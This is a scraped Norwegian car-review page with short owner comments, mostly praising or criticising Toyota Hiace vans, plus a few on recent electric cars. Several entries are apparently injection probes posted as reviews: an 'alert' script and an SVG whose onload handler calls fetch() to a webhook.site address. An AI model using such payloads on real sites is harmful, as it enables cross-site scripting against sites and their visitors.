Vurdert av Hiacedigger
Toyota Hiace (2006)
Fantastisk driftsikkerhet og aldrig noe tull.
Toyota Hiace (2006)
Anbefales kun som arbeidsbil. Den tåler mye herjing og motorproblematikk finnes omtrent ikke, men man gleder seg aldri til å sette seg inn i Hiace for å kjøre en langtur. Den går dårlig og man b
Toyota Hiace (2005)
Det blir nok en hiace igjen :-) at jeg kjøpte den ene mandagsbilen som er å få av hiace er jeg nok ikke i tvil om :-P Har hatt hiace tidligere uten problemer og mange i min omgangskrets, har hiace
Toyota Hiace (2005)
Verdens beste bil
Toyota Hiace (2005)
Superb bil. Går og går, bruker ikke olje, Kan laste opp med 4500 kg på bil og henger og den forserer oppoverbakker uten å bli varm. Fort går det ikke dog. Bråker noe utav milde, men jeg kan sitt
Toyota Hiace (2005)
Bruker lang Hiace som 9 seter pga forholdsvis stor familie med 4 barn, hvorav 3 i barneseter. Genialt med en høy bil med 2 skivedører som gjør det enkelt å laste inn og ut småbarn. Med lang Hiace
Toyota Hiace (2005)
Verdens beste bil
Toyota Hiace (2005)
Hiace. Håndtverkerens førstevalg i bil. Rett å slett usliteli å pålitelig
Toyota Hiace (2002)
En evighetsmaskin, litt olje og diesel! Har en 2003 hiace D aut. Den er gått 510.000 km, uten problemer. Den er langkjørt i tidligere eie, og alle servicer fulgt. Brukes til daglig som arbeidsbil,
Toyota Hiace (2002)
Forferdelig møkkabiler. Vi har fortsatt et par eksemplarer igjen av denne søpla på jobben. Det har ikke vært annet enn problemer med disse bilene. Rust, elektrisk og lys feil,, låser, slitt tenni
Toyota Hiace (2002)
Har en 2003 mod. Fjern skilleveggen, evnt komforvegg. Tilt setebenk og sett på større dekk, det oppgraderer kjørekomforten mye. Alt i alt en fantastisk bil som bare går og går.
Toyota Hiace (2002)
Hiace er en bil som det nærmest er umulig å kjøre i stykker. Skulle nesten tro de var bygget for det russiske militæret. Jeg vil tørre å påstå at dette er den mest solide kassevogna som noen s
Toyota Hiace (2002)
Til å vere så gammel bil finnes det ikkje maken. Beste arbeidsbil eg har hatt.
Toyota Hiace (2002)
Gammel og god. En trofast sliter.
Toyota Hiace (2002)
Problemfritt bilhold med ingen negative overraskelser. Nesten ingen påkostninger av det som regnes som "normale" slitedeler heller. 370.000km
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km